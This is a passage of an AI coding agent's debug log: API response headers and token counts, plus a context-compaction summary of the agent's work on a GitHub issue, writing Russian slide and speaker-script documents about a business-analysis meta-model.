\"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:54:38.338Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:54:38.341Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:54:38.346Z] [STDOUT]     \"cf-ray\": \"a4296bbf3b88dc88-FRA\",\n[2026-09-29T07:54:38.351Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:54:38.354Z] [STDOUT]     \"content-encoding\": \"br\",\n[2026-09-29T07:54:38.357Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:54:38.361Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:54:38.364Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:54:37 GMT\",\n[2026-09-29T07:54:38.368Z] [STDOUT]     \"request-id\": \"req_011CfXNTV1tUHYrJUma5TtqU\",\n[2026-09-29T07:54:38.370Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:54:38.372Z] [STDOUT]     \"server-timing\": \"x-originResponse;dur=78\",\n[2026-09-29T07:54:38.375Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:54:38.378Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:54:38.380Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:54:38.385Z] [STDOUT]   },\n[2026-09-29T07:54:38.391Z] [STDOUT]   durationMs: 396,\n[2026-09-29T07:54:38.396Z] [STDOUT] }\n[2026-09-29T07:54:38.401Z] [STDOUT] [log_a80988] response parsed {\n[2026-09-29T07:54:38.409Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:38.417Z] [STDOUT]   status: 200,\n[2026-09-29T07:54:38.435Z] [STDOUT]   body: {\n[2026-09-29T07:54:38.448Z] [STDOUT]     input_tokens: 9805,\n[2026-09-29T07:54:38.456Z] [STDOUT]     _request_id: \"req_011CfXNTV1tUHYrJUma5TtqU\",\n[2026-09-29T07:54:38.467Z] [STDOUT]   },\n[2026-09-29T07:54:38.471Z] [STDOUT]   durationMs: 397,\n[2026-09-29T07:54:38.473Z] [STDOUT] }\n[2026-09-29T07:54:38.478Z] [STDOUT] [log_14fa9f, request-id: \"req_011CfXNTV6M7eagkFeFMRHtq\"] post https://api.anthropic.com/v1/messages/count_tokens?beta=true succeeded with status 200 in 410ms\n[2026-09-29T07:54:38.483Z] [STDOUT] [log_14fa9f] response start {\n[2026-09-29T07:54:38.490Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:38.493Z] [STDOUT]   status: 200,\n[2026-09-29T07:54:38.497Z] [STDOUT]   headers: {\n[2026-09-29T07:54:38.501Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:54:38.503Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:54:38.506Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:54:38.510Z] [STDOUT]     \"cf-ray\": \"a4296bbf4b1378c0-FRA\",\n[2026-09-29T07:54:38.519Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:54:38.546Z] [STDOUT]     \"content-encoding\": \"br\",\n[2026-09-29T07:54:38.558Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:54:38.564Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:54:38.567Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:54:37 GMT\",\n[2026-09-29T07:54:38.571Z] [STDOUT]     \"request-id\": \"req_011CfXNTV6M7eagkFeFMRHtq\",\n[2026-09-29T07:54:38.574Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:54:38.577Z] [STDOUT]     \"server-timing\": \"x-originResponse;dur=88\",\n[2026-09-29T07:54:38.583Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:54:38.588Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:54:38.592Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:54:38.598Z] [STDOUT]   },\n[2026-09-29T07:54:38.602Z] [STDOUT]   durationMs: 410,\n[2026-09-29T07:54:38.606Z] [STDOUT] }\n[2026-09-29T07:54:38.610Z] [STDOUT] [log_14fa9f] response parsed {\n[2026-09-29T07:54:38.627Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:38.633Z] [STDOUT]   status: 200,\n[2026-09-29T07:54:38.641Z] [STDOUT]   body: {\n[2026-09-29T07:54:38.648Z] [STDOUT]     input_tokens: 26140,\n[2026-09-29T07:54:38.658Z] [STDOUT]     _request_id: \"req_011CfXNTV6M7eagkFeFMRHtq\",\n[2026-09-29T07:54:38.682Z] [STDOUT]   },\n[2026-09-29T07:54:38.688Z] [STDOUT]   durationMs: 411,\n[2026-09-29T07:54:38.692Z] [STDOUT] }\n[2026-09-29T07:54:38.698Z] [STDOUT] [log_e1c021, request-id: \"req_011CfXNTVFXu1NdXDkDyWS9h\"] post https://api.anthropic.com/v1/messages/count_tokens?beta=true succeeded with status 200 in 456ms\n[2026-09-29T07:54:38.706Z] [STDOUT] [log_e1c021] response start {\n[2026-09-29T07:54:38.710Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:38.714Z] [STDOUT]   status: 200,\n[2026-09-29T07:54:38.742Z] [STDOUT]   headers: {\n[2026-09-29T07:54:38.752Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:54:38.755Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:54:38.764Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:54:38.770Z] [STDOUT]     \"cf-ray\": \"a4296bbf58551e32-FRA\",\n[2026-09-29T07:54:38.776Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:54:38.782Z] [STDOUT]     \"content-encoding\": \"br\",\n[2026-09-29T07:54:38.786Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:54:38.794Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:54:38.800Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:54:37 GMT\",\n[2026-09-29T07:54:38.806Z] [STDOUT]     \"request-id\": \"req_011CfXNTVFXu1NdXDkDyWS9h\",\n[2026-09-29T07:54:38.816Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:54:38.823Z] [STDOUT]     \"server-timing\": \"x-originResponse;dur=110\",\n[2026-09-29T07:54:38.826Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:54:38.836Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:54:38.842Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:54:38.849Z] [STDOUT]   },\n[2026-09-29T07:54:38.853Z] [STDOUT]   durationMs: 456,\n[2026-09-29T07:54:38.860Z] [STDOUT] }\n[2026-09-29T07:54:38.864Z] [STDOUT] [log_e1c021] response parsed {\n[2026-09-29T07:54:38.866Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:38.869Z] [STDOUT]   status: 200,\n[2026-09-29T07:54:38.873Z] [STDOUT]   body: {\n[2026-09-29T07:54:38.877Z] [STDOUT]     input_tokens: 26140,\n[2026-09-29T07:54:38.880Z] [STDOUT]     _request_id: \"req_011CfXNTVFXu1NdXDkDyWS9h\",\n[2026-09-29T07:54:38.882Z] [STDOUT]   },\n[2026-09-29T07:54:38.889Z] [STDOUT]   durationMs: 456,\n[2026-09-29T07:54:38.892Z] [STDOUT] }\n[2026-09-29T07:54:38.898Z] [INFO] {\n[2026-09-29T07:54:38.898Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:54:38.898Z] [INFO]   \"subtype\": \"status\",\n[2026-09-29T07:54:38.898Z] [INFO]   \"status\": null,\n[2026-09-29T07:54:38.898Z] [INFO]   \"compact_result\": \"success\",\n[2026-09-29T07:54:38.898Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:38.898Z] [INFO]   \"uuid\": \"52906d4a-28e1-4789-bab6-9c2eb0667052\"\n[2026-09-29T07:54:38.898Z] [INFO] }\n[2026-09-29T07:54:38.903Z] [INFO] {\n[2026-09-29T07:54:38.903Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:54:38.903Z] [INFO]   \"subtype\": \"compact_boundary\",\n[2026-09-29T07:54:38.903Z] [INFO]   \"uuid\": \"f0b87cc1-424d-45b2-aba5-d3a8c3f1fbb4\",\n[2026-09-29T07:54:38.903Z] [INFO]   \"compact_metadata\": {\n[2026-09-29T07:54:38.903Z] [INFO]     \"trigger\": \"auto\",\n[2026-09-29T07:54:38.903Z] [INFO]     \"pre_tokens\": 124719,\n[2026-09-29T07:54:38.903Z] [INFO]     \"post_tokens\": 10665,\n[2026-09-29T07:54:38.903Z] [INFO]     \"cumulative_dropped_tokens\": 222015,\n[2026-09-29T07:54:38.903Z] [INFO]     \"duration_ms\": 48857,\n[2026-09-29T07:54:38.903Z] [INFO]     \"preserved_segment\": {\n[2026-09-29T07:54:38.903Z] [INFO]       \"head_uuid\": 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\"role\": \"user\",\n[2026-09-29T07:54:38.915Z] [INFO]     \"content\": [\n[2026-09-29T07:54:38.915Z] [INFO]       {\n[2026-09-29T07:54:38.915Z] [INFO]         \"type\": \"text\",\n[2026-09-29T07:54:38.915Z] [INFO]         \"text\": \"This session is being continued from a previous conversation that ran out of context. The summary below covers the earlier portion of the conversation.\\n\\nSummary:\\n1. **Primary Request and Intent**\\n   - Resolve issue https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646.\\n   - Working directory: /tmp/gh-issue-solver-1790667776920. Branch: `issue-646-497e337ac092`. Existing draft PR: #648.\\n   - Mode: Creative, Documentation/Presentation, for the Head of AI development at Mango.\\n   - Deliver two linked Markdown documents in Russian:\\n     - **Doc 1, slide template.** Must cover 7 meaning blocks: scope, pain, meta-model Product\u2192Process\u2192Operation\u2192Artifact, the breakthrough (cognitive operations are digitized into strict prompts plus machine-readable contracts with fail-closed checks), the pipeline, the runtime (pilot on the BA workstation with GigaCode CLI/Cline \u2192 server Environment 4 with a single orchestrator core), and scaling. Each slide needs a number, an assertion headline, 3\u20135 bullets, a highlighted quote or metric, and a Midjourney/DALL-E prompt.\\n     - **Doc 2, speaker script.** Synced to the slide numbers. It explains \\\"why\\\" and \\\"how\\\", adds bridges between slides, stresses the empirical base (60+ runs in mango_ba_prompts), and answers likely questions from a technical leader.\\n   - Definition of Done:\\n     - The evolution from the prompt repository to the Hub meta-model is visible.\\n     - Assertion-Evidence style, no filler or marketing.\\n     - All repository links are full absolute URLs.\\n     - Task moved to review (mark PR #648 ready).\\n   - Micromanagement is forbidden; the executor decides the wording.\\n   - Solver-system rules:\\n     - Commit atomic steps and push only to `issue-646-497e337ac092`.\\n     - Update PR #648 with `gh pr edit`, then run `gh pr ready 648`.\\n     - Remove the `.gitkeep` from the initial commit.\\n     - Run local validators before committing.\\n     - Check CI and the latest comments on the issue and PR.\\n     - Keep any experiment scripts in ./experiments.\\n\\n2. **Key Technical Concepts**\\n\\n   *Repository rules*\\n   - Placement: `projects/*/docs/*` is allowed by `validate-repository-structure.sh` (the `is_active_file` pattern). A new folder `projects/ba-ai-process/docs/presentation/` gets the \\\"default\\\" class in `validate-frontmatter.sh`.\\n   - Default-class allowed frontmatter keys: status, version, updated, temperature, executable, entrypoint, source, based_on, author, session, self-report, scope, type, context, method, related_artifacts, related_issues.\\n   - Never use `ai-generated`.\\n   - File naming is only validated in `research`, `docs/analysis`, `docs/report`, `docs/audit` and `docs/adr` at the Hub root, so the `presentation/` names are fine.\\n   - Do not touch `standards/` or root `docs/adr`, and do not create `docs/contracts/`.\\n   - Validators:\\n     - `tools/test-*.sh`\\n     - `./tools/validate-frontmatter.sh .`\\n     - `./tools/validate-file-naming.sh`\\n     - `./tools/validate-repository-structure.sh`\\n     - `./tools/validate-rrp-links.sh`\\n     - `python3 tools/generate-manifest.py --check`\\n   - CONTRIBUTING: update navigation (`projects/ba-ai-process/README.md`), and possibly CHANGELOG.md and `ops/artifact-map.md`.\\n   - PR body under hybrid_work rules must list gaps, the strategic risk and backlog proposals.\\n\\n   *Verified facts: mango_ba_prompts*\\n   - 583 commits, 2026-06-02 \u2192 2026-09-28.\\n   - 69 runs, RUN-0001\u2026RUN-0069, with run dates 2026-04-10 \u2192 2026-09-28.\\n   - Early runs used the Qwen web chat; later runs used the AI solver.\\n   - Evolution:\\n     - Jun 11: commit d8a4759 split one draft prompt \\\"\u041f\u0440\u043e\u043c\u043f\u0442+\u0434\u043b\u044f+\u0411\u0410\\\" into 23 standardized files.\\n     - Experiment 1027 (`docs/analysis/experiment-1027-analysis.md`): prompt edits were rolled back, and prompts now change only via experiment.\\n     - August: README admits \\\"evals \u0438 golden-set \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442\\\".\\n   - A/B study (`docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md`), RUN-0065 gpt-5.6-sol vs RUN-0066 claude-opus-5:\\n\\n     | Measure | RUN-0065 | RUN-0066 |\\n     |---|---|---|\\n     | Correct verdicts | 31/65 = 47.7% | 100% |\\n     | Correct pages | 17/45 = 37.8% | 64/64 |\\n     | Hallucinated pages | 28/65 = 43.1% | 0% |\\n\\n     Cause: a hand-made page lookup table, and the validator checked the link's format only.\\n   - Issue #349: the validators \\\"\u0437\u0430\u043a\u0440\u0435\u043f\u0438\u043b\u0438 \u043e\u0448\u0438\u0431\u043a\u0443\\\".\\n   - RUN-0064 root cause analysis: 8 errors.\\n   - GigaCode and Cline are absent from that repo.\\n   - Data-quality warning: RUN-0025's token figures duplicate RUN-0015's.\\n\\n   *Verified facts: research/ba-requirements (identical on main and issue-639; use main URLs)*\\n   - 56-run snapshot (2026-04-10\u202608-25): 41 hallucinations, 12 shipped.\\n   - Baseline: 2 of 32 runs with a verdict accepted without edits = 6% (`methodology-unification/40-practice-and-cases.md` line 49).\\n   - RUN-0018: an 8-step prompt with self-checks, 8 hallucinations, 1 shipped. Quote: \u00ab\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\u00bb.\\n   - 860 KB sections of 5 products fit the 14 slots with no new slot (`2026-09-08-kb-slot-fit-facts.md`).\\n   - Jaccard 0.077, 24 prompts over 13 capabilities (`2026-09-08-meta-model-inputs-facts.md`).\\n   - 10 of 12 constructs absent from all prompts (`2026-09-09-legacy-normative-influence-facts.md`).\\n   - Linear pipeline 0/32 vs layered 32/32.\\n\\n   *Verified facts: meta-model and forensics*\\n   - Mango product taxonomy: 8 domains, 42 capabilities. The telecom taxonomy has 42 mappings to 3 frameworks.\\n   - 31 operations in 5 cognitive classes, each with its default control (`operation-taxonomy/10-theory.md` \u00a73):\\n\\n     | Class | Control |\\n     |---|---|\\n     | extract | G6 source check |\\n     | transform | G2 schema |\\n     | generate | G6/G5 |\\n     | check | G2 + G6 |\\n     | assess | G1 + G5 |\\n\\n   - 33 skills. Golden set: 2 positive and 4 negative contact-center cases in the dist package.\\n   - Projections V-BIZ, V-APPROVE, V-DEV, V-CONTRACT exist as a vocabulary and disclosure rules (`taxonomy/projections.yaml`, `templates/bcreq-skeleton.md`). Automatic output of each projection is not measured.\\n   - \u0413-16: Release is byte-reproducible.\\n   - \u0413-17: the checksum proves a quote is unchanged, not that it is authentic.\\n   - Exact forensics quote: \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441 \u0440\u0430\u0437\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430\u043c\u0438 \u0434\u043b\u044f FR, UC \u0438 NFR, \u2026 \u0438 \u0442\u0440\u0435\u043c\u044f \u0433\u0435\u0439\u0442\u0430\u043c\u0438: \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c.\u00bb\\n   - Forensics facts: RUN-0059 left a gap instead of inventing Mango endpoints; RUN-0060 gave 101 requirements source anchors.\\n\\n   *Verified facts: runtime options*\\n   - Refutation threshold for Recommendation 1 (runner on the workstation): after 10 tasks, fewer than 95% of steps have a verified node contract, or the BA spends more time on commands than on content.\\n   - Recommendation 2 is Environment 4: the same runner core as a service, Mango AI via an OpenAI-compatible API, FastAPI, Postgres, own state machine.\\n   - Cited practice: Anthropic \\\"Building effective agents\\\" and 12-factor agents, factor 8 \\\"Own your control flow\\\".\\n   - Backlog items (all TODO):\\n     - B-211: edge predicates read from YAML.\\n     - B-212: per-node output contract and an honest metric.\\n     - B-213: wait and resume.\\n     - B-214: EP-R7.\\n     - B-215: assign the route executor in the meta-model.\\n     - B-216: one runner core, depends on B-211\u2013213.\\n     - B-217: GigaCode CLI checks.\\n     - B-218: Environment 4 RFC, depends on B-216.\\n   - ADR paths:\\n     - root: `docs/adr/2026-09-adr-013-run-modes-deprecation.md`, `docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md`\\n     - project: `projects/ba-ai-process/decisions/2026-09-adr-017-...`, `projects/ba-ai-process/docs/adr/2026-09-adr-018-...` and `2026-09-adr-019-...`\\n\\n3. **Files and Code Sections**\\n\\n   **Created:** `/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md` (Doc 1, complete draft)\\n   - Frontmatter:\\n     - status draft, version 0.1, updated 2026-09-29, temperature 0.3, type presentation, scope mango-only\\n     - source: issue 646\\n     - based_on: the ba-meta-model tree\\n     - related_artifacts: the speaker-script URL, runtime-options, forensics, mango_ba_prompts\\n     - related_issues: issue 646\\n   - Intro sections:\\n     - \\\"\u041a\u0430\u043a \u0441\u043e\u0431\u0440\u0430\u043d \u043f\u0430\u043a\u0435\u0442\\\": Assertion-Evidence, one slide one idea, every number checkable, status not inflated, a through-line metaphor.\\n     - Mapping table from the issue's blocks to slides.\\n     - Common image STYLE suffix, prompts in English, `--ar 16:9 --style raw` or DALL-E 1792\u00d71024, no text in images.\\n   - Slides:\\n     1. Title: \u00ab\u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u2026\u00bb\\n     2. Scope: 42 capabilities in 8 domains.\\n     3. Pain: M-1=0.0, 50/67 runs without input, RUN-0015 invented NFRs, RUN-0063, 6% baseline.\\n     4. Evolution: Apr\u2013Jun, Aug, Sep, Conclusion; exact forensics quote with [\u2026].\\n     5. Meta-model: formula and MM-1\u2026MM-4.\\n     6. Breakthrough: 5-class table, RUN-0018 quote, RUN-0059.\\n     7. Pipeline: 5 steps plus a readiness table (projections: \\\"\u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0432 \u043f\u0430\u043a\u0435\u0442\u0435; \u0432\u044b\u0434\u0430\u0447\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0430\\\").\\n     8. Runtime: the orchestrator gap, lorem ipsum passing n1\u2013n3, the vector to Environment 4.\\n     9. Scaling: 860 sections into 14 slots, M-1\u2026M-4, decision threshold.\\n     10. \u00ab\u041e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430\u00bb:\\n        - step 1: B-211\u2026B-213\\n        - step 2: 10 tasks, 95% threshold\\n        - step 3: Environment 4 via B-216/B-218; needs Mango AI API access and a platform\\n        - not doing: n8n/Dify/Flowise core\\n        - quote: \u00ab\u0417\u0430\u043f\u0440\u043e\u0441: \u043d\u0435 \u0431\u044e\u0434\u0436\u0435\u0442 \u043d\u0430 \u00ab\u0418\u0418-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u00bb, \u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b.\u00bb\\n   - Appendix: evidence map table.\\n   - Every slide has a \\\"\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f\\\" `text` block and \\\"\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438\\\" with absolute URLs.\\n\\n   **Not yet created:** `projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md` (Doc 2). The slides frontmatter already links it at `https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md`.\\n\\n   **Research notes:** /tmp/research-notes/mango_ba_prompts.md and /tmp/research-notes/ba-requirements.md.\\n\\n4. **Errors and fixes**\\n   - Wrong claim, \\\"42 capabilities mapped to 42 IT/telecom analogues\\\": changed to \\\"42 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445, \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0441 \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u043c\u0438 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430\u043c\u0438\\\".\\n   - Paraphrased forensics quote: replaced with the exact text, elided with [\u2026].\\n   - \\\"24 prompts on 13 \u0437\u0430\u0434\u0430\u0447\\\": corrected to 13 capabilities in the source link context.\\n   - Timeline error, \\\"\u0410\u0432\u0433\u0443\u0441\u0442: 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432\\\": fixed to Apr\u2013Jun, then Aug with 56 runs, then Sep forensics of 67.\\n   - Wrong ADR-013 filename: corrected to `2026-09-adr-013-run-modes-deprecation.md`.\\n   - Slide 10 wrongly tied the 95% criterion to Environment 4: rewritten to attach it to the workstation runner pilot.\\n   - Slide 10 image implied steps already done: now shows only the first switch being turned on.\\n\\n5. **Problem Solving**\\n   - Research is complete and Doc 1 is complete and fact-checked.\\n   - Honesty is maintained throughout: readiness statuses are stated, and projections are marked \\\"not measured\\\".\\n\\n6. **All user messages**\\n   - Only the original issue-solver prompt: solve issue #646 on the prepared branch `issue-646-497e337ac092` with prepared PR #648, \\\"Proceed.\\\"\\n   - There has been no other user feedback. System notes asked for periodic short status updates.\\n\\n7. **Pending Tasks**\\n   - Write Doc 2, the speaker script, in Russian:\\n     - Frontmatter in the same style: type presentation or speaker-script, related link back to the slides.\\n     - Sections \u0421\u043b\u0430\u0439\u0434 1\u202610 synced with Doc 1, each with \\\"why\\\"/\\\"how\\\", key phrases, a bridge to the next slide and timing.\\n     - Emphasis on the 60+/69 runs and the evolution.\\n     - Q&A block for a technical leader. Likely questions:\\n       - Why not a better model? (A/B 43.1% vs 0%, but the cause was the validator.)\\n       - Why not n8n or Dify?\\n       - Determinism vs an LLM.\\n       - Security and the perimeter.\\n       - How quality is measured (M-1\u2026M-5).\\n       - Cost and time.\\n       - What if the hypothesis is refuted (95% threshold).\\n       - Does the checksum prove authenticity? (\u0413-17: no.)\\n       - Scaling to other products.\\n       - Relation to BABOK and ISO 29148.\\n     - All links as absolute URLs.\\n   - Update `projects/ba-ai-process/README.md` with links to both documents; consider CHANGELOG.md and `ops/artifact-map.md`.\\n   - Remove `.gitkeep` from the initial commit.\\n   - Run all validators and fix any issues.\\n   - Commit and push to `issue-646-497e337ac092`.\\n   - Merge main if needed (origin/main was at ecb1d94, same as the branch base).\\n   - Update the PR #648 title and body with `gh pr edit`: solution, files, gaps, strategic risk, backlog proposals; no reproduction or test section for docs.\\n   - Check CI and the latest issue and PR comments, then run `gh pr ready 648`.\\n\\n8. **Current Work**\\n   The last edit finalized slide 10 of Doc 1. Its headline was changed to \u00ab## \u0421\u043b\u0430\u0439\u0434 10. \u041e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430\u00bb. Its image prompt now reads: \\\"Three switches in a row on a clean control panel, each paired with a small measuring gauge; a hand is turning on the first one, the other two are still off; behind the panel a calm, dimly lit server room is waiting to power up.\\\" Doc 1 is complete.\\n\\n9. **Optional Next Step**\\n   Write Doc 2, the speaker script, at `/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md`. It must follow slides 1\u201310 and include bridges, the empirical emphasis and a technical-leader Q&A. Then update the README, remove `.gitkeep`, run the validators, commit and push, update PR #648, and mark it ready. The issue requires: \\\"\u0421\u043e\u0437\u0434\u0430\u043d \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 2 (\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430), \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e \u043d\u043e\u043c\u0435\u0440\u0430\u043c \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0441 \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u043c 1.\\\"\\n\\nIf you need specific details from before compaction (like exact code snippets, error messages, or content you generated), read the full transcript at: /home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de.jsonl\\nContinue the conversation from where it left off without asking the user any further questions. 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modified=0\",\n[2026-09-29T07:54:39.736Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:54:39.741Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:54:39.744Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:54:39.751Z] [STDOUT]   \"cf-ray\": \"a4296bc29b0f5d90-FRA\",\n[2026-09-29T07:54:39.754Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:54:39.757Z] [STDOUT] [log_4b1a47] response parsed {\n[2026-09-29T07:54:39.760Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:54:39.763Z] [STDOUT]   status: 200,\n[2026-09-29T07:54:39.768Z] [STDOUT]   body: X {\n[2026-09-29T07:54:39.772Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:54:39.774Z] [STDOUT]     controller: AbortController 